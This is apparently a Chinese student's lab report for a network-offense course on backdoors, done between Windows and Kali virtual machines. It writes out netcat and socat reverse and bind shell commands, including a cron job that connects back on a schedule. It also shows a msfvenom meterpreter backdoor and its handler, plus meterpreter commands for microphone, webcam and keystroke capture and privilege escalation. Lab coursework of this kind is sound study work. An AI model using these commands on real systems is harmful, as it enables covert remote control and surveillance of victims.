20154301《网络对抗》Exp2 后门原理与实践
20154301仉鑫烨
一、实验内容
常用后门工具实践:
- Windows获得Linux Shell:
在Windows下,先使用
ipconfig
指令查看win7虚拟机IP:
使用
ncat.exe
程序监听本机的4301
端口:
Kali:使用nc指令的-e选项反向连接Windows主机的
4301
端口:
Windows下成功获得了一个Kali的shell,运行ls指令如下:
- Linux获得Windows Shell:
过程与之前的类似,在Kali环境下用
ifconfig
查看IP:
使用
nc
指令监听4301
端口:
在Windows下,使用
ncat.exe
程序的-e
选项项反向连接Kali主机的4301
端口:
Kali下可以看到Windows的命令提示,可以输入Windows命令:
- 使用nc传输数据:
Windows下监听
4301
端口:
Kali下连接到Windows的
4301
端口:
建立连接之后,就可以传输数据了,这里传输的是字符串,相当于两台主机在聊天,也可以用重定向操作符来传输文件:
使用netcat获取主机操作Shell,cron启动
先在Windows系统下,监听
4301
端口:
在Kali环境下,使用
man crontab
指令查看crontab
命令的帮助文档,从文档中我们可以知道crontab
指令可以用于设置周期性被执行的指令。该命令从标准输入设备读取指令,并将其存放于crontab
文件中,以供之后读取和执行。
用
crontab -e
指令编辑一条定时任务,选择编辑器时选择基本的vim编辑器就行:
(最后一行为44 * * * * /bin/netcat 192.168.108.131 4301 -e /bin/sh
,意思是在每个小时的第44分钟反向连接Windows主机的4301端口,此时时间为16:43)
时间到16点44分,此时已经获得了Kali的shell,可以输入指令(如果在这之前输入指令,屏幕上不会有显示,但是等到了44分时会立马显示出来):
使用socat获取主机操作Shell, 任务计划启动
基础知识:
socat
是ncat
的增强版,它使用的格式是socat [options] <address> <address>
,其中两个address
是必选项,而options
是可选项。
socat
的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address
就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。
在Windows系统下,打开控制面板->管理工具->任务计划程序,创建任务,填写任务名称后,新建一个触发器:
在操作->程序或脚本中选择你的
socat.exe
文件的路径,在添加参数一栏填写tcp-listen:4301 exec:cmd.exe,pty,stderr
,这个命令的作用是把cmd.exe
绑定到端口4301,同时把cmd.exe
的stderr重定向到stdout上:
创建完成之后,可以
windows+L
锁定计算机让它执行。
此时,在Kali环境下输入指令
socat - tcp:192.168.108.131:4301
,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的4301
端口,此时可以发现已经成功获得了一个cmd shell:
使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
输入指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.108.131 LPORT=4301 -f exe > 20154301_backdoor.exe
生成后门程序:
通过‘nc‘指令将生成的后门程序传送到Windows主机上:
在Kali上使用
msfconsole
指令进入msf控制台,使用监听模块,设置payload,设置反弹回连的IP和端口:use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
设置完成后,执行监听:
打开Windows上的后门程序:
20154301_backdoor.exe
此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell:
使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
使用
record_mic
指令截获一段音频:
- 使用
webcam_snap
指令可以使用摄像头进行拍照:(电脑没有色相头!!) 使用screenshot指令可以进行截屏:
使用
keyscan_start
指令开始记录下击键的过程,使用keyscan_dump
指令读取击键的记录:
先使用getuid指令查看当前用户,使用getsystem指令进行提权,如图所示,提权成功: